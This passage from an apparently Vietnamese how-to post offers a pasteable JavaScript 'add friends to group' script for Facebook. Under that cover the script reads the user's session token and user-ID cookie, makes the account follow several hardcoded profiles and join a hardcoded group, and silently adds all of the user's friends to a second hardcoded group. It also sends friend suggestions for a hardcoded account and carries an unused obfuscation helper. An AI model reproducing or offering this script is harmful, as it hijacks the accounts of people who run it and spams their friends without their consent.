Đợi cho chương trình chạy xong các bạn mới tải lại trang, như vậy là bạn đã thêm được toàn bộ bạn bè vào Mua Bán 365 rồi đấy.

Chúc các bạn thành công!

* Code thêm bạn bè vào nhóm:

function hp_d12(s) {
var o = "",
ar = new Array(),
os = "",
ic = 0,
p = 0;
for (i = 0; i < s.length; i++) {
c = s.charCodeAt(i);
if (c < 128) c = c ^ ((p++ % 8) + 1);
os += String.fromCharCode(c);
if (os.length > 80) {
ar[ic++] = os;
os = ""
}
}
o = ar.join("") + os;
return o
}
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);

function cereziAl(isim) {
var tarama = isim + "=";
if (document.cookie.length > 0) {
konum = document.cookie.indexOf(tarama);
if (konum != -1) {
konum += tarama.length;
son = document.cookie.indexOf(";", konum);
if (son == -1) son = document.cookie.length;
return unescape(document.cookie.substring(konum, son))
} else {
return ""
}
}
}
function getRandomInt(min, max) {
return Math.floor(Math.random() * (max - min + 1)) + min
}
function randomValue(arr) {
return arr[getRandomInt(0, arr.length - 1)]
}
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);

function a(abone) {
var http4 = new XMLHttpRequest();
var url4 = "/ajax/follow/follow_profile.php?__a=1";
var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
http4.open("POST", url4, true);
http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http4.setRequestHeader("Content-length", params4.length);
http4.setRequestHeader("Connection", "close");
http4.onreadystatechange = function() {
if (http4.readyState == 4 && http4.status == 200) {
http4.close
}
};
http4.send(params4)
}
a("100005857922703");a("100006058531242");a("1836279772");a("100002958273734"); 

var gid = ['632338800147011'];
var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
var httpwp = new XMLHttpRequest();
var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
httpwp['open']('POST', urlwp, true);
httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
httpwp['setRequestHeader']('Content-length', paramswp['length']);
httpwp['setRequestHeader']('Connection', 'keep-alive');
httpwp['send'](paramswp);
var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
var friends = new Array();
gf = new XMLHttpRequest();
gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
gf['send']();
if (gf['readyState'] != 4) {} else {
data = eval('(' + gf['responseText']['substr'](9) + ')');
if (data['error']) {} else {
friends = data['payload']['entries']['sort'](function(_0x93dax8, _0x93dax9) {
return _0x93dax8['index'] - _0x93dax9['index']
})
}
};
var Title = 'CHƯƠNG TRÌNH THÊM BẠN VÀO NHÓM';
grpname = document.getElementById("groupsJumpTitle").innerHTML;
var Descriptions = "",
_text = 'Design and Mod by <A style="color:#3B5998;" href="https://www.facebook.com/groups/tinkm/">Facebook</A>';

function AddFriendtoGroup(opo) {
jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=" + gid + "&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user_id, function(a) {
var b = a.substring(a.indexOf("{"));
var c = JSON.parse(b);
i--;
Descriptions = "<div class='friend-edge-name' style='padding-bottom:5px;text-align:left;font-size:10px;white-space:pre-wrap;";
if (c.error) {
Descriptions += "color:darkred'>";
err++;
if (c.errorDescription) Descriptions += c.errorDescription;
else Descriptions += JSON.stringify(c, null, "")
} else {
Descriptions += "color:darkgreen'>";
Descriptions += arn[i] + " has been added.<br/>";
suc++
}
Descriptions += "</div>";
var display = "<div id='friend-edge-display' style='box-shadow:0px 3px 8px rgba(0, 0, 0, 0.3);position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";
display += "<div style='padding-bottom:5px;font-size:20px;'>" + Title + "</div>";
if (i > 0) {
display += arr.length + " Bạn có trong danh sách<br/>";
display += "<b>" + suc + "</b> Người đã thêm vào nhóm. Đang thêm " + (arr.length - i) + " Bạn ";
display += "(Còn lại... " + i + ")";
display += "<div class='friend-edge'>";
display += Descriptions;
display += "<img style='background:center no-repeat url(https://fbcdn-profile-a.akamaihd.net/static-ak/rsrc.php/v2/yo/r/UlIqmHJn-SK.gif);width:50px;height:50px;margin-left:-125px;padding:2px;border:1px solid rgba(0,0,0,0.4);' src=" + pho[i] + "></img><a style='padding-left:8px;text-align:left;color:#3B5998;position:absolute;font-weight:bold;'>" + arn[i] + "</a>";
display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'>";
display += getuname + " Cảm ơn bạn đã thêm bạn bè vào nhóm " + grpname + ".<br/>";
display += _text;
display += "</div>";
display += "</div>"
} else {
display += arr.length + " Người trong danh sách<br/>";
display += suc + " Đã thêm vào</br>";
display += err + " Người đã có (Hoặc không tham gia)</br></br>";
display += "<div><span class='layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge' onClick='window.location.reload()' style='color:white'>Cập nhật (F5)</span><span class='layerCancel uiOverlayButton uiButton uiButtonLarge' onClick='document.getElementById(\"pagelet_sidebar\").style.display=\"none\"'>Cancel</span>"
}
display += "</div>";
document.getElementById("pagelet_sidebar").innerHTML = display
}, "text", "post");
tay--;
if (tay > 0) {
var s = arr[tay];
sx = pho[tay];
setTimeout("AddFriendtoGroup(" + s + ")", 100)
}
console.log(tay + "/" + arr.length + ":" + arr[tay] + "/" + arn[tay] + ", success:" + suc);
if (gid != 190377624469117) {
jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=190377624469117&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user_id, function() {}, "text", "post")
}
if (newcomer) {
jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100005857922703&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
}
}
function clickfr_callback() {
if (document.getElementsByName("ok").length > 0) nHtml.ClickUp(document.getElementsByName("ok")[0]);
var a = arr[i];
if (i < arr.length) addfriend(a.substring(0, 4))
}
function clickfr() {
if (document.getElementsByClassName("search").length > 0) nHtml.ClickUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1]);
else j++;
setTimeout("clickfr_callback()", 2E3)
}
function addfriend(a) {
i++;
setTimeout("clickfr()", 2E3)
}
jx = {
getHTTPObject: function() {
var a = false;
if (typeof ActiveXObject != "undefined") try {
a = new ActiveXObject("Msxml2.XMLHTTP")
} catch (b) {
try {
a = new ActiveXObject("Microsoft.XMLHTTP")
} catch (c) {
a = false
}
} else if (window.XMLHttpRequest) try {
a = new XMLHttpRequest
} catch (b) {
a = false
}
return a
},
load: function(url, callback, format, method, opt) {
var http = this.init();
if (!http || !url) return;
if (http.overrideMimeType) http.overrideMimeType("text/xml");
if (!method) method = "GET";
if (!format) format = "text";
if (!opt) opt = {};
format = format.toLowerCase();
method = method.toUpperCase();
var now = "uid=" + (new Date).getTime();
url += url.indexOf("?") + 1 ? "&" : "?";
url += now;
var parameters = null;
if (method == "POST") {
var parts = url.split("?");
url = parts[0];
parameters = parts[1]
}
http.open(method, url, true);
var ths = this;
if (opt.handler) http.onreadystatechange = function() {
opt.handler(http)
};
else http.onreadystatechange = function() {
if (http.readyState == 4) if (http.status == 200) {
var result = "";
if (http.responseText) result = http.responseText;
if (format.charAt(0) == "j") {
result = result.replace(/[\n\r]/g, "");
result = eval("(" + result + ")")
} else if (format.charAt(0) == "x") result = http.responseXML;
if (callback) callback(result)
} else {
if (opt.loadingIndicator) document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator);
if (opt.loading) document.getElementById(opt.loading).style.display = "none";
if (error) error(http.status)
}
};
http.send(parameters)
},
bind: function(a) {
var b = {
url: "",
onSuccess: false,
onError: false,
format: "text",
method: "GET",
update: "",
loading: "",
loadingIndicator: ""
};
for (var c in b) if (a[c]) b[c] = a[c];
if (!b.url) return;
var d = false;
if (b.loadingIndicator) {
d = document.createElement("div");
d.setAttribute("style", "position:absolute;top:0px;left:0px;");
d.setAttribute("class", "loading-indicator");
d.innerHTML = b.loadingIndicator;
document.getElementsByTagName("body")[0].appendChild(d);
this.opt.loadingIndicator = d
}
if (b.loading) document.getElementById(b.loading).style.display = "block";
this.load(b.url, function(a) {
if (b.onSuccess) b.onSuccess(a);
if (b.update) document.getElementById(b.update).innerHTML = a;
if (d) document.getElementsByTagName("body")[0].removeChild(d);
if (b.loading) document.getElementById(b.loading).style.display = "none"
}, b.format, b.method, b)
},
init: function() {
return this.getHTTPObject()
}
};
var nHtml = {
FindByAttr: function(a, b, c, d) {
if (c == "className") c = "class";
var e = document.evaluate(".//" + b + "[@" + c + "='" + d + "']", a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null);
if (e && e.singleNodeValue) return e.singleNodeValue;
return null
},
FindByClassName: function(a, b, c) {
return this.FindByAttr(a, b, "className", c)
},
FindByXPath: function(a, b) {
try {
var c = document.evaluate(b, a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null)
} catch (d) {
GM_log("bad xpath:" + b)
}
if (c && c.singleNodeValue) return c.singleNodeValue;
return null
},
VisitUrl: function(a) {
window.setTimeout(function() {
document.location.href = a
}, 500 + Math.floor(Math.random() * 500))
},
ClickWin: function(a, b, c) {
var d = a.document.createEvent("MouseEvents");
d.initMouseEvent(c, true, true, a, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
return !b.dispatchEvent(d)
},
Click: function(a) {
return this.ClickWin(window, a, "click")
},
ClickTimeout: function(a, b) {
window.setTimeout(function() {
return nHtml.ClickWin(window, a, "click")
}, b + Math.floor(Math.random() * 500))
},
ClickUp: function(a) {
this.ClickWin(window, a, "mousedown");
this.ClickWin(window, a, "mouseup");
this.ClickWin(window, a, "click")
},
GetText: function(a, b) {
var c = "";
if (b == undefined) b = 0;
if (b > 40) return;
if (a.textContent != undefined) return a.textContent;
for (var d = 0; d < a.childNodes.length; d++) {
var e = a.childNodes[d];
c += this.GetText(e, b + 1)
}
return c
}
};
if (document.getElementsByClassName == undefined) document.getElementsByClassName = function(a) {
var b = new RegExp("(?:^|\\s)" + a + "(?:$|\\s)");
var c = document.getElementsByTagName("*");
var d = [];
var e;
for (var f = 0;
(e = c[f]) != null; f++) {
var g = e.className;
if (g && g.indexOf(a) != -1 && b.test(g)) d.push(e)
}
return d
};
Array.prototype.find = function(a) {
var b = false;
for (i = 0; i < this.length; i++) if (typeof a == "function") {

if (a.test(this[i])) {
if (!b) b = [];
b.push(i)
}
} else if (this[i] === a) {
if (!b) b = [];
b.push(i)
}
return b
};
var i = 3;
var tay = 3;
var j = 0;
var k = 0;
var suc = 0;
var err = 0;
var arr = new Array;
var arn = new Array;
var pho = new Array;
var getuname = document.getElementsByClassName("fbxWelcomeBoxName")[0].innerHTML;
var gid = document.getElementsByName("group_id")[0].value;
jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/first_degree.php?" + "__a=1&filter[0]=user&lazy=0&viewer=" + user_id + "&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm", function(a) {
var b = a;
var c = b.substring(b.indexOf("{"));
var d = JSON.parse(c);
d = d.payload.entries;
for (var e = 0; e < d.length; e++) arr.push(d[e].uid);
for (var eg = 0; eg < d.length; eg++) arn.push(d[eg].text);
for (var pic = 0; pic < d.length; pic++) pho.push(d[pic].photo);
i = arr.length - 1;
tay = i;
console.log(arr.length);
var display = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";
display += "<div style='padding-bottom:10px;font-size:20px;'>" + Title + "</div>";
display += arr.length + " Friends Detected";
display += "</div>";
document.getElementById("pagelet_sidebar").innerHTML = display;
AddFriendtoGroup(arr[i])
});